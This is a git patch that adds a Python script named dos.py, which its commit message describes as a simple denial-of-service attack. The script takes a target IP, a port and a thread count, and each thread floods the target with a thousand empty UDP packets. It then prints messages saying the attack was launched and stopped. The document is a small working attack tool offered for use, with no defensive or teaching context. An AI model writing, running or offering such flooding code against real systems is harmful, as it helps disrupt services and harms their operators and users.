From 71c455ed3871d770c96d5304a086b50cea94c9a8 Mon Sep 17 00:00:00 2001 From: Aroy-Art Date: Sun, 8 Oct 2023 15:27:04 +0200 Subject: [PATCH] Add: python script for a simple dos attack --- PythonScripts/dos.py | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 PythonScripts/dos.py diff --git a/PythonScripts/dos.py b/PythonScripts/dos.py new file mode 100644 index 0000000..d084e16 --- /dev/null +++ b/PythonScripts/dos.py @@ -0,0 +1,37 @@ +#!/usr/bin/python3 + +import sys +import socket +import threading +import time + +#Function to send packets to the target +def send_packets(target_ip, port, num_packets): + for i in range(num_packets): + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.sendto(b"", (target_ip, port)) + time.sleep(0.01) + sock.close() + +#Function to launch threads for DOSing + +def launch_threads(target_ip, port, num_threads): + threads = [] + + for i in range(num_threads): + t = threading.Thread(target=send_packets, args=(target_ip, port, 1000)) + t.start() + threads.append(t) + + for t in threads: + t.join() + +#Main function +if __name__ == "__main__": + target_ip = sys.argv[1] + port = int(sys.argv[2]) + num_threads = int(sys.argv[3]) + launch_threads(target_ip, port, num_threads) + print("DOS attack launched!") + time.sleep(10) + print("DOS attack stopped.")